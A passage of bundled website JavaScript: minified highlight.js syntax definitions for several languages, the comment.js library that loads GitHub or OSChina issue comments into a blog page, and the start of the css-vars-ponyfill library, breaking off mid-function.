unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when",r={cN:"subst",b:"[$@]\\{",e:"\\}",k:t},a={b:"->{",e:"}"},n={v:[{b:/\$\d/},{b:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{b:/[\$%@][^\s\w{]/,r:0}]},i=[e.BE,r,n],s=[n,e.HCM,e.C("^\\=\\w","\\=cut",{eW:!0}),a,{cN:"string",c:i,v:[{b:"q[qwxr]?\\s*\\(",e:"\\)",r:5},{b:"q[qwxr]?\\s*\\[",e:"\\]",r:5},{b:"q[qwxr]?\\s*\\{",e:"\\}",r:5},{b:"q[qwxr]?\\s*\\|",e:"\\|",r:5},{b:"q[qwxr]?\\s*\\<",e:"\\>",r:5},{b:"qw\\s+q",e:"q",r:5},{b:"'",e:"'",c:[e.BE]},{b:'"',e:'"'},{b:"`",e:"`",c:[e.BE]},{b:"{\\w+}",c:[],r:0},{b:"-?\\w+\\s*\\=\\>",c:[],r:0}]},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\/\\/|"+e.RSR+"|\\b(split|return|print|reverse|grep)\\b)\\s*",k:"split return print reverse grep",r:0,c:[e.HCM,{cN:"regexp",b:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",r:10},{cN:"regexp",b:"(m|qr)?/",e:"/[a-z]*",c:[e.BE],r:0}]},{cN:"function",bK:"sub",e:"(\\s*\\(.*?\\))?[;{]",eE:!0,r:5,c:[e.TM]},{b:"-\\w\\b",r:0},{b:"^__DATA__$",e:"^__END__$",sL:"mojolicious",c:[{b:"^@@.*",e:"$",cN:"comment"}]}];return r.c=s,a.c=s,{aliases:["pl","pm"],l:/[\w\.]+/,k:t,c:s}}),e.registerLanguage("php",function(e){var t={b:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},r={cN:"meta",b:/<\?(php)?|\?>/},a={cN:"string",c:[e.BE,r],v:[{b:'b"',e:'"'},{b:"b'",e:"'"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},n={v:[e.BNM,e.CNM]};return{aliases:["php3","php4","php5","php6"],cI:!0,k:"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally",c:[e.HCM,e.C("//","$",{c:[r]}),e.C("/\\*","\\*/",{c:[{cN:"doctag",b:"@[A-Za-z]+"}]}),e.C("__halt_compiler.+?;",!1,{eW:!0,k:"__halt_compiler",l:e.UIR}),{cN:"string",b:/<<<['"]?\w+['"]?$/,e:/^\w+;?$/,c:[e.BE,{cN:"subst",v:[{b:/\$\w+/},{b:/\{\$/,e:/\}/}]}]},r,{cN:"keyword",b:/\$this\b/},t,{b:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{cN:"function",bK:"function",e:/[;{]/,eE:!0,i:"\\$|\\[|%",c:[e.UTM,{cN:"params",b:"\\(",e:"\\)",c:["self",t,e.CBCM,a,n]}]},{cN:"class",bK:"class interface",e:"{",eE:!0,i:/[:\(\$"]/,c:[{bK:"extends implements"},e.UTM]},{bK:"namespace",e:";",i:/[\.']/,c:[e.UTM]},{bK:"use",e:";",c:[e.UTM]},{b:"=>"},a,n]}}),e.registerLanguage("python",function(e){var t={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False",built_in:"Ellipsis NotImplemented"},r={cN:"meta",b:/^(>>>|\.\.\.) /},a={cN:"subst",b:/\{/,e:/\}/,k:t,i:/#/},n={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[r],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[r,a]},{b:/(fr|rf|f)"""/,e:/"""/,c:[r,a]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[a]},{b:/(fr|rf|f)"/,e:/"/,c:[a]},e.ASM,e.QSM]},i={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},s={cN:"params",b:/\(/,e:/\)/,c:["self",r,i,n]};return a.c=[n,i,r],{aliases:["py","gyp"],k:t,i:/(<\/|->|\?)|=>/,c:[r,i,n,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,s,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}}),e.registerLanguage("ruby",function(e){ var t="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",r={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},a={cN:"doctag",b:"@[A-Za-z]+"},n={b:"#<",e:">"},i=[e.C("#","$",{c:[a]}),e.C("^\\=begin","^\\=end",{c:[a],r:10}),e.C("^__END__","\\n$")],s={cN:"subst",b:"#\\{",e:"}",k:r},c={cN:"string",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{b:/<<(-?)\w+$/,e:/^\s*\w+$/}]},o={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:r},l=[c,n,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(i)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:t}),o].concat(i)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[c,{b:t}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:r},{b:"("+e.RSR+"|unless)\\s*",k:"unless",c:[n,{cN:"regexp",c:[e.BE,s],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(i),r:0}].concat(i);s.c=l,o.c=l;var u="[>?]>",d="[\\w#]+\\(\\w+\\):\\d+:\\d+>",b="(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>",p=[{b:/^\s*=>/,starts:{e:"$",c:l}},{cN:"meta",b:"^("+u+"|"+d+"|"+b+")",starts:{e:"$",c:l}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:r,i:/\/\*/,c:i.concat(p).concat(l)}}),e.registerLanguage("shell",function(e){return{aliases:["console"],c:[{cN:"meta",b:"^\\s{0,3}[\\w\\d\\[\\]()@-]*[>%$#]",starts:{e:"$",sL:"bash"}}]}}),e.registerLanguage("sql",function(e){var t=e.C("--","$");return{cI:!0,i:/[<>{}*#]/,c:[{bK:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment",e:/;/,eW:!0,l:/[\w\.]+/,k:{keyword:"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null",built_in:"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void"},c:[{cN:"string",b:"'",e:"'",c:[e.BE,{b:"''"}]},{cN:"string",b:'"',e:'"',c:[e.BE,{b:'""'}]},{cN:"string",b:"`",e:"`",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}}),e}); // github issue comment // Copyright (C) 2017 // Joseph Pan // This library is free software; you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation; either version 2.1 of the // License, or (at your option) any later version. // // This library is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA // 02110-1301 USA // 'use strict'; var type, username, repo, client_id, client_secret, no_comment, go_to_comment, btn_class, comments_target, recent_comments_target, loading_target; var github_addr = "https://github.com/"; var github_api_addr = "https://api.github.com/repos/"; var oschina_addr = "http://git.oschina.net/"; var oschina_api_addr = "http://git.oschina.net/api/v5/repos/"; var spinOpts = { lines: 13, length: 10, width: 6, radius: 12, corners: 1, rotate: 0, direction: 1, color: '#5882FA', speed: 1, trail: 60, shadow: false, hwaccel: false, className: 'spinner', zIndex: 2e9, top: 'auto', left: '50%' }; var _getComment = function _getComment(params, callback) { var comments = void 0, comments_url = void 0, page = void 0; // Get comments comments = params.comments; comments_url = params.comments_url; page = params.page; $.ajax({ url: comments_url + '?page=' + page, dataType: 'json', cache: false, crossDomain: true, data: client_id && client_secret ? "client_id=" + client_id + "&client_secret=" + client_secret : '', success: function success(page_comments) { if (!page_comments || page_comments.length <= 0) { callback && typeof callback === "function" && callback(comments); callback = null; return; } page_comments.forEach(function (comment) { comments.push(comment); }); page += 1; params.comments = comments; params.page = page; _getComment(params, callback); }, error: function error(err) { callback && typeof callback === "function" && callback(comments); callback = null; } }); }; var _getCommentsUrl = function _getCommentsUrl(params, callback) { var issue_title = void 0, page = void 0; var found = false; issue_title = params.issue_title; page = params.page; var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; $.ajax({ url: api_addr + username + '/' + repo + '/issues?page=' + page, dataType: 'json', cache: false, crossDomain: true, data: client_id && client_secret ? "client_id=" + client_id + "&client_secret=" + client_secret : '', success: function success(issues) { if (!issues || issues.length <= 0) { callback && typeof callback === "function" && callback("", ""); callback = null; return; } issues.forEach(function (issue) { // match title if (issue.title && issue.title == issue_title) { callback && typeof callback === "function" && callback(issue.comments_url, issue); found = true; callback = null; } }); if (!found) { page += 1; params.page = page; _getCommentsUrl(params, callback); } return; }, error: function error() { callback && typeof callback === "function" && callback("", ""); callback = null; } }); }; var _getIssue = function _getIssue(issue_id, callback) { var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; var issue_url = api_addr + username + '/' + repo + '/issues/' + issue_id; _getIssueByUrl(issue_url, function (issue) { callback && typeof callback === "function" && callback(issue); callback = null; }); }; var _getIssueByUrl = function _getIssueByUrl(issue_url, callback) { $.ajax({ url: issue_url, dataType: 'json', cache: false, crossDomain: true, data: client_id && client_secret ? "client_id=" + client_id + "&client_secret=" + client_secret : '', success: function success(issues) { if (!issues || issues.length <= 0) { callback && typeof callback === "function" && callback(); callback = null; return; } var issue = issues; callback && typeof callback === "function" && callback(issue); callback = null; }, error: function error() { callback && typeof callback === "function" && callback(); callback = null; } }); }; var _renderComment = function _renderComment(comment) { var timeagoInstance = timeago(); var user = comment.user; var content = marked(comment.body); var ago = timeagoInstance.format(comment.created_at); var current_user = user.login == username ? "current-user" : ""; var addr = type == 'github' ? github_addr : oschina_addr; var owner = user.login == username ? "\n \n Owner\n \n " : ''; return "\n
\n
\n \n \"@"\n \n
\n
\n\n
\n " + owner + "\n

\n\n \n " + user.login + "\n \n \n\n commented \n\n " + ago + "\n\n

\n
\n \n \n \n \n \n \n \n
\n " + content + "\n
\n
\n
\n "; }; var _renderRecentComment = function _renderRecentComment(user, title, content, time, url, callback) { var addr = type == 'github' ? github_addr : oschina_addr; var res = "\n
\n
\n
\n \n \"@"\n \n
\n
\n " + user.login + " \n
" + content + "
\n
\n
\n
\n
\n " + title + " | " + time + "\n
\n
\n "; callback && typeof callback === "function" && callback(res); callback = null; }; var _getRecentCommentList = function _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback) { if (render_count >= total_count || i >= comments.length) { callback && typeof callback === "function" && callback(comment_list); callback = null; return; } var comment = comments[i]; if (!comment) return; var content = marked(comment.body); var title = comment.title; var user = comment.user; var timeagoInstance = timeago(); var time = timeagoInstance.format(comment.created_at); var url = comment.html_url; if (!content || content == '') { i++; _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback); callback = null; return; } if (!title) { // Get title of issue _getIssueByUrl(comment.issue_url, function (issue) { _renderRecentComment(user, issue.title, content, time, url, function (item) { comment_list += item; i++; render_count++; _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback); }); }); } else { _renderRecentComment(user, title, content, time, url, function (item) { comment_list += item; i++; render_count++; _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback); }); } }; var _renderRecentCommentList = function _renderRecentCommentList(comments, count) { var i = 0; var render_count = 0; var comment_list = ''; _getRecentCommentList(comment_list, i, render_count, count, comments, function (comment_list) { $(recent_comments_target).append(comment_list); }); }; var _renderHTML = function _renderHTML(params) { var issue = void 0, comments = void 0, comments_url = void 0, issue_title = void 0; issue = params.issue; comments = params.comments; comments_url = params.comments_url; issue_title = params.issue_title; var addr = type == 'github' ? github_addr : oschina_addr; var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; var site = type == 'oschina' ? 'OSChina issue' : 'Github issue'; var footer = "\n
\n

\n\n \n \n \n The above comments are provided by \n comment.js with the help of " + site + ".\n

\n
\n "; if ((!issue || !issue.body || issue.body == "") && (!comments || comments.length <= 0)) { var _res = "\n
\n " + no_comment + "\n
\n "; $(comments_target).append(_res); } else { var _res2 = "\n
\n
\n "; if (issue && issue.body && issue.body != '') { _res2 += _renderComment(issue); } comments.forEach(function (comment) { _res2 += _renderComment(comment); }); _res2 += footer; _res2 += '
'; $(comments_target).append(_res2); } var issue_url = void 0; if (!comments_url) { issue_url = addr + "/" + username + "/" + repo + "/issues/new?title=" + issue_title + "#issue_body"; } else { issue_url = comments_url.replace(api_addr, addr).replace('comments', '') + '#new_comment_field'; } var res = "\n

\n " + go_to_comment + "\n

\n "; $(comments_target).append(res); }; var CompareDate = function CompareDate(a, b) { var d1 = a['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, "\/"); var d2 = b['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, "\/"); return new Date(d1) > new Date(d2); }; var _getRecentIssues = function _getRecentIssues(params, callback) { var count = void 0; count = params.count; var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; $.ajax({ url: api_addr + username + '/' + repo + '/issues?per_page=100&sort=created&direction=desc', dataType: 'json', cache: false, crossDomain: true, data: client_id && client_secret ? "client_id=" + client_id + "&client_secret=" + client_secret : '', success: function success(issues) { if (issues.length > count) { if (navigator.userAgent.indexOf("MSIE") != -1 || navigator.userAgent.indexOf("Edge") != -1 || !!document.documentMode == true) { issues = issues.sort(CompareDate).slice(0, 5); } else { issues = issues.sort(CompareDate).reverse().slice(0, 5); } } callback && typeof callback === "function" && callback(issues); callback = null; }, error: function error(err) { callback && typeof callback === "function" && callback(); callback = null; } }); }; var _getRecentComments = function _getRecentComments(params, callback) { var count = void 0; count = params.count; var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; $.ajax({ url: api_addr + username + '/' + repo + '/issues/comments?per_page=100&sort=created&direction=desc', dataType: 'json', cache: false, crossDomain: true, data: client_id && client_secret ? "client_id=" + client_id + "&client_secret=" + client_secret : '', success: function success(comments) { if (comments.length > count) { if (navigator.userAgent.indexOf("MSIE") != -1 || navigator.userAgent.indexOf("Edge") != -1 || !!document.documentMode == true) { comments = comments.sort(CompareDate).slice(0, 5); } else { comments = comments.sort(CompareDate).reverse().slice(0, 5); } } callback && typeof callback === "function" && callback(comments); callback = null; }, error: function error(err) { callback && typeof callback === "function" && callback(); callback = null; } }); }; var getRecentCommentsList = function getRecentCommentsList(params) { var count = void 0, user = void 0; type = params.type; user = params.user; repo = params.repo; client_id = params.client_id; client_secret = params.client_secret; count = params.count; recent_comments_target = params.recent_comments_target; username = user; recent_comments_target = recent_comments_target ? recent_comments_target : '#recent-comments'; var recentList = new Array(); // Get recent issues and comments and filter out 10 newest comments _getRecentIssues(params, function (issues) { recentList = recentList.concat(issues); _getRecentComments(params, function (comments) { recentList = recentList.concat(comments); if (navigator.userAgent.indexOf("MSIE") != -1 || navigator.userAgent.indexOf("Edge") != -1 || !!document.documentMode == true) { recentList = recentList.sort(CompareDate); } else { recentList = recentList.sort(CompareDate).reverse(); } _renderRecentCommentList(recentList, count); }); }); }; var getComments = function getComments(params) { var issue_title = void 0, issue_id = void 0, user = void 0; type = params.type; user = params.user; repo = params.repo; client_id = params.client_id; client_secret = params.client_secret; no_comment = params.no_comment; go_to_comment = params.go_to_comment; issue_title = params.issue_title; issue_id = params.issue_id; btn_class = params.btn_class; comments_target = params.comments_target; loading_target = params.loading_target; comments_target = comments_target ? comments_target : '#comment-thread'; username = user; var spinner = new Spinner(spinOpts); var timeagoInstance = timeago(); var comments_url; var comments = new Array(); type = type ? type : 'github'; btn_class = btn_class ? btn_class : 'btn'; loading_target && spinner.spin($("div" + loading_target).get(0)); if (!issue_id || issue_id == 'undefined' || typeof issue_id == 'undefined') { _getCommentsUrl({ issue_title: issue_title, page: 1 }, function (comments_url, issue) { if (comments_url != '' && comments_url != undefined) { _getComment({ comments: comments, comments_url: comments_url, page: 1 }, function (comments) { loading_target && spinner.spin(); _renderHTML({ issue: issue, comments: comments, comments_url: comments_url, issue_title: issue_title }); return; }); } else { loading_target && spinner.spin(); _renderHTML({ issue: issue, comments: comments, comments_url: comments_url, issue_title: issue_title }); return; } }); } else { var api_addr = type == 'github' ? github_api_addr : oschina_api_addr; var _comments_url = api_addr + username + '/' + repo + '/issues/' + issue_id + '/comments'; _getIssue(issue_id, function (issue) { _getComment({ comments: comments, comments_url: _comments_url, page: 1 }, function (comments) { loading_target && spinner.spin(); _renderHTML({ issue: issue, comments: comments, comments_url: _comments_url, issue_title: issue_title }); loading_target && spinner.spin(); return; }); }); } }; ================================================ FILE: assets/js/css-vars-ponyfill.js ================================================ /*! * css-vars-ponyfill * v2.3.1 * https://jhildenbiddle.github.io/css-vars-ponyfill/ * (c) 2018-2020 John Hildenbiddle * MIT license */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).cssVars=t()}(this,(function(){"use strict";function e(){return(e=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var r=0,n=new Array(t);r1&&void 0!==arguments[1]?arguments[1]:{},r={mimeType:t.mimeType||null,onBeforeSend:t.onBeforeSend||Function.prototype,onSuccess:t.onSuccess||Function.prototype,onError:t.onError||Function.prototype,onComplete:t.onComplete||Function.prototype},n=Array.isArray(e)?e:[e],o=Array.apply(null,Array(n.length)).map((function(e){return null}));function s(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t="<"===e.trim().charAt(0);return!t}function a(e,t){r.onError(e,n[t],t)}function c(e,t){var s=r.onSuccess(e,n[t],t);e=!1===s?"":s||e,o[t]=e,-1===o.indexOf(null)&&r.onComplete(o)}var i=document.createElement("a");n.forEach((function(e,t){if(i.setAttribute("href",e),i.href=String(i.href),Boolean(document.all&&!window.atob)&&i.host.split(":")[0]!==location.host.split(":")[0]){if(i.protocol===location.protocol){var n=new XDomainRequest;n.open("GET",e),n.timeout=0,n.onprogress=Function.prototype,n.ontimeout=Function.prototype,n.onload=function(){s(n.responseText)?c(n.responseText,t):a(n,t)},n.onerror=function(e){a(n,t)},setTimeout((function(){n.send()}),0)}else console.warn("Internet Explorer 9 Cross-Origin (CORS) requests must use the same protocol (".concat(e,")")),a(null,t)}else{var o=new XMLHttpRequest;o.open("GET",e),r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.onBeforeSend(o,e,t),o.onreadystatechange=function(){4===o.readyState&&(200===o.status&&s(o.responseText)?c(o.responseText,t):a(o,t))},o.send()}}))}function o(e){var 